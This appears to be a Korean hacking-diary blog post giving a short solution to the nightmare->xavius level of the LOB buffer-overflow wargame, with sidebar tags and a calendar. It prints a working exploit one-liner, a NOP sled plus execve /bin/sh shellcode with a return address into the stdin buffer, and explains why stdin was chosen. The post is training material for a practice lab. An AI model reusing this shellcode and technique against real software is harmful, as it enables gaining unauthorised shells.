Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- npm
- pwnable
- CVE
- https
- Git
- xlsx
- Branch
- shellcraft
- lob
- Codegate
- doorlock
- blueborne
- node.js
- NGINX
- pwntools
- gogs private git
- 코드게이트2017
- gogs
- CODEGATE2018
- 도메인 https
- codegate2017
- module
- 코드게이트 주니어
- Hacking
- node
- openctf
- 노드 엑셀
- 코드게이트
- BLUETOOTH
- https설정
Archives
- Today
- Total
목록lob (1)
고졸백수해킹일기
nightmare->xavius
(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 다른 문제와 다르게 fgets으로 받는다 그리고 소스를 보면 ret주소에 스택영역의 주소와 libc주소를 사용하지 못한다따라서 stdin영역을 사용하기로 했다. nop[19] + shellcode[25] + ret[4] (stdin address) throw me away
Wargame/lob
2018. 3. 13. 00:45